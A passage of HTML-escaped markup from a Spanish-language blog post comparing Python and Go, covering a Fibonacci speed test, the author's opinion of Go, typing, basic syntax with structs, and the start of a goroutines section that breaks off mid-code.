translateY(16px);&#xA;              &#34;&#xA;            &gt;&lt;/div&gt;&#xA;            &lt;div&#xA;              style=&#34;&#xA;                background-color: #f4f4f4;&#xA;                flex-grow: 0;&#xA;                height: 12px;&#xA;                width: 16px;&#xA;                transform: translateY(-4px);&#xA;              &#34;&#xA;            &gt;&lt;/div&gt;&#xA;            &lt;div&#xA;              style=&#34;&#xA;                width: 0;&#xA;                height: 0;&#xA;                border-top: 8px solid #f4f4f4;&#xA;                border-left: 8px solid transparent;&#xA;                transform: translateY(-4px) translateX(8px);&#xA;              &#34;&#xA;            &gt;&lt;/div&gt;&#xA;          &lt;/div&gt;&#xA;        &lt;/div&gt;&#xA;        &lt;div&#xA;          style=&#34;&#xA;            display: flex;&#xA;            flex-direction: column;&#xA;            flex-grow: 1;&#xA;            justify-content: center;&#xA;            margin-bottom: 24px;&#xA;          &#34;&#xA;        &gt;&#xA;          &lt;div&#xA;            style=&#34;&#xA;              background-color: #f4f4f4;&#xA;              border-radius: 4px;&#xA;              flex-grow: 0;&#xA;              height: 14px;&#xA;              margin-bottom: 6px;&#xA;              width: 224px;&#xA;            &#34;&#xA;          &gt;&lt;/div&gt;&#xA;          &lt;div&#xA;            style=&#34;&#xA;              background-color: #f4f4f4;&#xA;              border-radius: 4px;&#xA;              flex-grow: 0;&#xA;              height: 14px;&#xA;              width: 144px;&#xA;            &#34;&#xA;          &gt;&lt;/div&gt;&lt;/div&#xA;      &gt;&lt;/a&gt;&#xA;    &lt;/div&gt;&#xA;  &lt;/blockquote&gt;&lt;script async src=&#34;https://www.instagram.com/embed.js&#34;&gt;&lt;/script&gt;&#xA;&lt;h3 id=&#34;rendimiento-python-vs-go-en-fibonacci-por-recursion&#34;&gt;Rendimiento Python vs Go en fibonacci por recursión&lt;/h3&gt;&#xA;&lt;p&gt;¿Qué tan rápido es go comparado con python? He hecho una pequeña prueba usando &#xA;&#xA;&lt;a class=&#34;markdown-link&#34; href=&#34;https://tratt.net/laurie/src/multitime/&#34; rel=&#34;noopener nofollow&#34; target=&#34;_blank&#34;&gt;multitime&lt;/a&gt;&#xA; para medir el tiempo que le toma calcular el n número de fibonacci a cada lenguaje, 10 repeticiones por cada prueba, los resultados están en segundos (menor es mejor) nota la diferencia tan radical en el rendimiento de ambos lenguajes.&lt;/p&gt;&#xA;&lt;a hx-boost=&#34;false&#34; href=&#34;https://coffeebytes.dev/en/go/python-vs-go-go-which-is-the-best-programming-language/images/fibo-go-vs-python-velocidad.png&#34;&gt;&#xA;&lt;figure class=&#34;md-local-image&#34;&gt;&lt;img src=&#34;https://coffeebytes.dev/en/go/python-vs-go-go-which-is-the-best-programming-language/images/fibo-go-vs-python-velocidad.png&#34;&#xA;    loading=&#34;lazy&#34;&#xA;    alt=&#34;Comparación de velocidad Python vs Go usando fibonacci por recursión&#34; width=&#34;899&#34; height=&#34;556&#34;&gt;&lt;figcaption&gt;&#xA;      &lt;p&gt;Go, al ser un lenguaje compilado, es descomunalmente más rápido que Python&lt;/p&gt;&#xA;    &lt;/figcaption&gt;&#xA;&lt;/figure&gt;&#xA;&lt;/a&gt;&#xA;&lt;h2 id=&#34;go-es-un-lenguaje-polemico-mi-opinion&#34;&gt;Go es un lenguaje polémico, mi opinión&lt;/h2&gt;&#xA;&lt;p&gt;Go es un &lt;strong&gt;lenguaje bastante polémico que desencadena discusiones bastante acaloradas&lt;/strong&gt;. Te dejo algunos ejemplos a continuación de lo variadas que son las opiniones:&lt;/p&gt;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&#xA;&#xA;&lt;a class=&#34;markdown-link&#34; href=&#34;https://xetera.dev/thoughts-on-go/&#34; rel=&#34;noopener&#34; target=&#34;_blank&#34;&gt;Golang is not a good language&lt;/a&gt;&#xA;&lt;/li&gt;&#xA;&lt;li&gt;&#xA;&#xA;&lt;a class=&#34;markdown-link&#34; href=&#34;https://yager.io/programming/go.html&#34; rel=&#34;noopener&#34; target=&#34;_blank&#34;&gt;Why Go Is Not Good&lt;/a&gt;&#xA;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&lt;p&gt;Las quejas van desde la simpleza del lenguaje, la afirmación de Robert Pike sobre que es un lenguaje para programadores &amp;ldquo;no tan brillantes&amp;rdquo;, hasta la, (ya solucionada) falta de generics.&lt;/p&gt;&#xA;&lt;p&gt;¿Mi opinión? Yo creo que ciertamente no es el lenguaje mejor diseñado (prefiero Rust) desde punto de vista purista y estético. Entonces ¿por qué usar el lenguaje del roedor azul? Por su simpleza; Google creó el lenguaje basándose en una serie de problemas bastante concretos; Go es la solución a estos problemas.&lt;/p&gt;&#xA;&lt;p&gt;Go es bueno para un par de cosas que los programadores suelen obviar, la parte de negocios:&lt;/p&gt;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;Iteración. Su rápida velocidad de compilación y facilidad de escritura permiten iterar más rápido que con otros lenguajes, lo que se traduce en más dinero y menos riesgo a largo plazo para el negocio.&lt;/li&gt;&#xA;&lt;li&gt;Fácil de aprender. No, aunque a todos nos gustaría, tu empresa no va a despedir a toda el departamento para contratar programadores en Rust o C++ es más fácil capacitar a los programadores para que aprendan el lenguaje.&lt;/li&gt;&#xA;&lt;li&gt;Paquetes y biblioteca estándar. Probablemente tu compañía no tenga el tiempo ni los recursos para que crees el código desde cero. Go cuenta con una biblioteca estándar bastante madura y que brinda una solución para la mayoría de las necesidades.&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&lt;p&gt;Por supuesto que esto no necesariamente es bueno desde el punto de vista de un perfil técnico, pero ya sabrás de primera mano que, en el mundo de los negocios, el dinero suele influir mucho más en las decisiones de negocios que las buenas prácticas en el código.&lt;/p&gt;&#xA;&lt;h2 id=&#34;que-tan-antiguo-es-go&#34;&gt;¿Qué tan antiguo es Go?&lt;/h2&gt;&#xA;&lt;p&gt;Python fue creado por Guido Van Rossum a finales de los 80&amp;rsquo;s. Go, por otro lado, es un lenguaje mucho más joven que Python, lanzado veinte años después, en 2009, y diseñado inicialmente por Robert Griesemer, Rob Pike y Ken Thompson.&lt;/p&gt;&#xA;&lt;h2 id=&#34;tipado-en-ambos-lenguajes&#34;&gt;Tipado en ambos lenguajes&lt;/h2&gt;&#xA;&lt;h3 id=&#34;como-es-el-tipado-en-go&#34;&gt;¿Cómo es el tipado en go?&lt;/h3&gt;&#xA;&lt;p&gt;Go es un &lt;strong&gt;lenguaje compilado con tipado fuerte&lt;/strong&gt;, que requiere que especifiquemos el tipo de dato al momento de crear una variable. Sin embargo, también tiene una manera de dejar que el compilador intuya el tipo de variable, bajo ciertas condiciones, de manera automática.&lt;/p&gt;&#xA;&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; style=&#34;color:#e2e4e5;background-color:#282a36;-moz-tab-size:4;-o-tab-size:4;tab-size:4;&#34;&gt;&lt;code class=&#34;language-go&#34; data-lang=&#34;go&#34;&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#78787e&#34;&gt;// go&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#ff5c57&#34;&gt;var&lt;/span&gt; tipoExplicito &lt;span style=&#34;color:#9aedfe&#34;&gt;int&lt;/span&gt; = &lt;span style=&#34;color:#ff9f43&#34;&gt;1&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#78787e&#34;&gt;// Solo dentro del scope de una función&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;tipoImplicitoDentroDeFuncion &lt;span style=&#34;color:#ff6ac1&#34;&gt;:=&lt;/span&gt; &lt;span style=&#34;color:#ff9f43&#34;&gt;1&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#78787e&#34;&gt;// Todo bien hasta aquí, pero ahora fallará.&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;tipoExplicito = &lt;span style=&#34;color:#ff9f43&#34;&gt;1.5&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#78787e&#34;&gt;// Error: constant 1.5 truncated to integer&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;h3 id=&#34;como-es-el-tipado-en-python&#34;&gt;¿Cómo es el tipado en Python?&lt;/h3&gt;&#xA;&lt;p&gt;Python es un &lt;strong&gt;lenguaje interpretado fuértemente tipado&lt;/strong&gt;; no requiere que especifiquemos el tipo de variable. Además podemos cambiar de tipo a una variable sin problema en cualquier momento. Implementa tipado opcional a partir de su versión 3.5 pero no son forzados por el intérprete.&lt;/p&gt;&#xA;&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; style=&#34;color:#e2e4e5;background-color:#282a36;-moz-tab-size:4;-o-tab-size:4;tab-size:4;&#34;&gt;&lt;code class=&#34;language-python&#34; data-lang=&#34;python&#34;&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#78787e&#34;&gt;# Python&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;numero &lt;span style=&#34;color:#ff6ac1&#34;&gt;=&lt;/span&gt; [&lt;span style=&#34;color:#ff9f43&#34;&gt;1&lt;/span&gt;]&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;numero &lt;span style=&#34;color:#ff6ac1&#34;&gt;=&lt;/span&gt; {&lt;span style=&#34;color:#ff9f43&#34;&gt;1&lt;/span&gt;:&lt;span style=&#34;color:#ff9f43&#34;&gt;1&lt;/span&gt;}&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;numero &lt;span style=&#34;color:#ff6ac1&#34;&gt;=&lt;/span&gt; &lt;span style=&#34;color:#ff9f43&#34;&gt;1&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;numero &lt;span style=&#34;color:#ff6ac1&#34;&gt;=&lt;/span&gt; &lt;span style=&#34;color:#5af78e&#34;&gt;&amp;#34;1&amp;#34;&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt; &lt;span style=&#34;color:#78787e&#34;&gt;# no hubo error en ningún caso&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;numero &lt;span style=&#34;color:#ff6ac1&#34;&gt;+&lt;/span&gt; &lt;span style=&#34;color:#ff9f43&#34;&gt;2&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#78787e&#34;&gt;# TypeError: can only concatenate str (not &amp;#34;int&amp;#34;) to str&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;h2 id=&#34;comparacion-de-sintaxis-de-lenguaje-python-vs-go&#34;&gt;Comparación de sintaxis de lenguaje, Python vs Go&lt;/h2&gt;&#xA;&lt;h3 id=&#34;sintaxis-basica-de-go&#34;&gt;Sintaxis básica de go&lt;/h3&gt;&#xA;&lt;p&gt;Go basa fuertemente su sintaxis en C y toma algunas características de lenguajes como Python para favorecer la legibilidad de su código. Destaca en que &lt;strong&gt;no tiene ciclos while, ni do while&lt;/strong&gt;. Y, a diferencia de Python, sí usa llaves.&lt;/p&gt;&#xA;&lt;p&gt;El punto de entrada de una aplicación es su función &lt;em&gt;main&lt;/em&gt;.&lt;/p&gt;&#xA;&lt;p&gt;Una característica interesante respecto a la sintaxis es que el compilador no se ejecutará si detecta variables sin usar o errores en el acomodo de las llaves de cada función. Por lo que el compilador de go fuerza a escribir código siguiendo un conjunto de convenciones o buenas prácticas.&lt;/p&gt;&#xA;&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; style=&#34;color:#e2e4e5;background-color:#282a36;-moz-tab-size:4;-o-tab-size:4;tab-size:4;&#34;&gt;&lt;code class=&#34;language-go&#34; data-lang=&#34;go&#34;&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#78787e&#34;&gt;//go&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#ff6ac1&#34;&gt;package&lt;/span&gt; main&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    &#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#ff6ac1&#34;&gt;import&lt;/span&gt; &lt;span style=&#34;color:#5af78e&#34;&gt;&amp;#34;fmt&amp;#34;&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#ff5c57&#34;&gt;var&lt;/span&gt; tipoExplicito &lt;span style=&#34;color:#9aedfe&#34;&gt;int&lt;/span&gt; = &lt;span style=&#34;color:#ff9f43&#34;&gt;123&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#ff5c57&#34;&gt;func&lt;/span&gt; &lt;span style=&#34;color:#57c7ff&#34;&gt;suma&lt;/span&gt;(a, b &lt;span style=&#34;color:#9aedfe&#34;&gt;int&lt;/span&gt;) (&lt;span style=&#34;color:#9aedfe&#34;&gt;int&lt;/span&gt;, &lt;span style=&#34;color:#9aedfe&#34;&gt;int&lt;/span&gt;){&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    &lt;span style=&#34;color:#ff6ac1&#34;&gt;return&lt;/span&gt; a, b&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;}&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;   &#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#ff5c57&#34;&gt;func&lt;/span&gt; &lt;span style=&#34;color:#57c7ff&#34;&gt;bucle&lt;/span&gt;() {&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;  &lt;span style=&#34;color:#ff5c57&#34;&gt;var&lt;/span&gt; array [&lt;span style=&#34;color:#ff9f43&#34;&gt;10&lt;/span&gt;]&lt;span style=&#34;color:#9aedfe&#34;&gt;int&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;  &lt;span style=&#34;color:#ff6ac1&#34;&gt;for&lt;/span&gt; i&lt;span style=&#34;color:#ff6ac1&#34;&gt;:=&lt;/span&gt; &lt;span style=&#34;color:#ff9f43&#34;&gt;0&lt;/span&gt;; i &amp;lt; &lt;span style=&#34;color:#ff9f43&#34;&gt;10&lt;/span&gt;; i&lt;span style=&#34;color:#ff6ac1&#34;&gt;++&lt;/span&gt; {&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    array[i] = i&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    }&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;  }&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#ff5c57&#34;&gt;func&lt;/span&gt; &lt;span style=&#34;color:#57c7ff&#34;&gt;bucleInfinito&lt;/span&gt;() {&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    &lt;span style=&#34;color:#ff6ac1&#34;&gt;for&lt;/span&gt; {}&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    }&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#78787e&#34;&gt;// main es el punto de ejecución de un programa&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#ff5c57&#34;&gt;func&lt;/span&gt; &lt;span style=&#34;color:#57c7ff&#34;&gt;main&lt;/span&gt;() {&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    tipoImplicito &lt;span style=&#34;color:#ff6ac1&#34;&gt;:=&lt;/span&gt; &lt;span style=&#34;color:#ff9f43&#34;&gt;23&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    &lt;span style=&#34;color:#78787e&#34;&gt;// Este codigo no compilará porque tenemos variables sin usar y otros errores&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    fmt.&lt;span style=&#34;color:#57c7ff&#34;&gt;Println&lt;/span&gt;(&lt;span style=&#34;color:#5af78e&#34;&gt;&amp;#34;Hello world&amp;#34;&lt;/span&gt;)&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;}&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;Otra cosa importante, algunos desarrolladores dicen que go es orientado a objetos, mientras que otros afirman rotundamente que no. Lo cierto es que go no cuenta con soporte directo para clases, sino que usa &lt;strong&gt;&#xA;&#xA;&lt;a class=&#34;markdown-link&#34; href=&#34;https://coffeebytes.dev/es/go/go-structs-herencia-polimorfismo-y-encapsulacion/&#34;&gt;structs que emulan el polimorfismo y la encapsulación&lt;/a&gt;&#xA;&lt;/strong&gt; y otras características de la OOP.&lt;/p&gt;&#xA;&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; style=&#34;color:#e2e4e5;background-color:#282a36;-moz-tab-size:4;-o-tab-size:4;tab-size:4;&#34;&gt;&lt;code class=&#34;language-go&#34; data-lang=&#34;go&#34;&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#78787e&#34;&gt;//go&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#ff5c57&#34;&gt;type&lt;/span&gt; Persona &lt;span style=&#34;color:#ff5c57&#34;&gt;struct&lt;/span&gt; {&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    Nombre &lt;span style=&#34;color:#9aedfe&#34;&gt;string&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    Sexo &lt;span style=&#34;color:#9aedfe&#34;&gt;string&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;}&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#78787e&#34;&gt;// Todos los campos de Persona pasan a Profesor&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#ff5c57&#34;&gt;type&lt;/span&gt; Profesor &lt;span style=&#34;color:#ff5c57&#34;&gt;struct&lt;/span&gt; {&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    Persona&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;}&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#78787e&#34;&gt;// Para poder llamar a unProfesor.Saludar()&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#ff5c57&#34;&gt;func&lt;/span&gt; (p &lt;span style=&#34;color:#ff6ac1&#34;&gt;*&lt;/span&gt;Profesor) &lt;span style=&#34;color:#57c7ff&#34;&gt;Saludar&lt;/span&gt;(){&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    fmt.&lt;span style=&#34;color:#57c7ff&#34;&gt;Println&lt;/span&gt;(&lt;span style=&#34;color:#5af78e&#34;&gt;&amp;#34;Hola&amp;#34;&lt;/span&gt;)&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;}&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;h3 id=&#34;sintaxis-basica-de-python&#34;&gt;Sintaxis básica de Python&lt;/h3&gt;&#xA;&lt;p&gt;La sintaxis de Python es súper limpia, enfocada en la legibilidad del código; no usa llaves para separar el código, sino saltos de linea e identaciones obligatorias. Y, a diferencia del compilador de Go, el intérprete de Python no es tan estricto.&lt;/p&gt;&#xA;&lt;p&gt;Python &lt;strong&gt;está fuertemente orientado a objetos&lt;/strong&gt; y vas a tener todas las capacidades que tiene un lenguaje orientado a objetos, exceptuando los scopes privados, públicos y protegidos característicos de Java, C++ y otros lenguajes.&lt;/p&gt;&#xA;&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; style=&#34;color:#e2e4e5;background-color:#282a36;-moz-tab-size:4;-o-tab-size:4;tab-size:4;&#34;&gt;&lt;code class=&#34;language-python&#34; data-lang=&#34;python&#34;&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#ff6ac1&#34;&gt;if&lt;/span&gt; &lt;span style=&#34;color:#ff6ac1&#34;&gt;True&lt;/span&gt;: &#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    &lt;span style=&#34;color:#ff6ac1&#34;&gt;return&lt;/span&gt; &lt;span style=&#34;color:#5af78e&#34;&gt;&amp;#34;resultado&amp;#34;&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#ff5c57&#34;&gt;print&lt;/span&gt;(&lt;span style=&#34;color:#5af78e&#34;&gt;&amp;#34;También puedes incluir punto y coma al final, pero la convención es no hacerlo&amp;#34;&lt;/span&gt;)&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#ff6ac1&#34;&gt;class&lt;/span&gt; &lt;span style=&#34;color:#f3f99d&#34;&gt;MiClase&lt;/span&gt;:&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    &lt;span style=&#34;color:#ff6ac1&#34;&gt;def&lt;/span&gt; &lt;span style=&#34;color:#57c7ff&#34;&gt;__init__&lt;/span&gt;(&lt;span style=&#34;color:#ff5c57&#34;&gt;self&lt;/span&gt;, propiedad):&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;        &lt;span style=&#34;color:#ff5c57&#34;&gt;self&lt;/span&gt;&lt;span style=&#34;color:#ff6ac1&#34;&gt;.&lt;/span&gt;propiedad &lt;span style=&#34;color:#ff6ac1&#34;&gt;=&lt;/span&gt; propiedad&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#ff6ac1&#34;&gt;def&lt;/span&gt; &lt;span style=&#34;color:#57c7ff&#34;&gt;funcion&lt;/span&gt;(argumento_por_defecto &lt;span style=&#34;color:#ff6ac1&#34;&gt;=&lt;/span&gt; &lt;span style=&#34;color:#5af78e&#34;&gt;&amp;#34;predeterminado&amp;#34;&lt;/span&gt;, &lt;span style=&#34;color:#ff6ac1&#34;&gt;*&lt;/span&gt;args, &lt;span style=&#34;color:#ff6ac1&#34;&gt;**&lt;/span&gt;kwargs):&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    mi_lista_de_argumentos &lt;span style=&#34;color:#ff6ac1&#34;&gt;=&lt;/span&gt; args&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    mi_diccionario_de_argumentos &lt;span style=&#34;color:#ff6ac1&#34;&gt;=&lt;/span&gt; kwargs&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    &lt;span style=&#34;color:#ff6ac1&#34;&gt;return&lt;/span&gt; mi_list_de_argumentos&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#ff6ac1&#34;&gt;try&lt;/span&gt;:&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;  do_something()&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#ff6ac1&#34;&gt;except&lt;/span&gt;:&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;  &lt;span style=&#34;color:#ff5c57&#34;&gt;print&lt;/span&gt;(&lt;span style=&#34;color:#5af78e&#34;&gt;&amp;#34;An exception occurred&amp;#34;&lt;/span&gt;)&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;h2 id=&#34;capacidad-de-asincronismo-python-vs-go&#34;&gt;Capacidad de asincronismo, Python vs Go&lt;/h2&gt;&#xA;&lt;h3 id=&#34;asincronismo-en-go&#34;&gt;Asincronismo en go&lt;/h3&gt;&#xA;&lt;p&gt;Uno de los puntos fuertes de este lenguaje es la creación de concurrencia por medio de sus &#xA;&#xA;&lt;a class=&#34;markdown-link&#34; href=&#34;https://coffeebytes.dev/es/go/go-introduccion-a-las-goroutines-y-concurrencia/&#34;&gt;&lt;em&gt;goroutines&lt;/em&gt;, o gorutinas y canales&lt;/a&gt;&#xA;. Usarlas es bastante sencillo, basta con añadir la palabra go antes de una función. Añadimos un contador con &lt;em&gt;Add&lt;/em&gt; y lo removemos con Done. Cuando nuestro grupo de espera, &lt;em&gt;wg&lt;/em&gt;, tenga cero contadores, terminará la ejecución.&lt;/p&gt;&#xA;&lt;p&gt;Sus capacidades de concurrencia lo hacen ideal para servidores web.&lt;/p&gt;&#xA;&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; style=&#34;color:#e2e4e5;background-color:#282a36;-moz-tab-size:4;-o-tab-size:4;tab-size:4;&#34;&gt;&lt;code class=&#34;language-go&#34; data-lang=&#34;go&#34;&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#ff5c57&#34;&gt;var&lt;/span&gt; wg 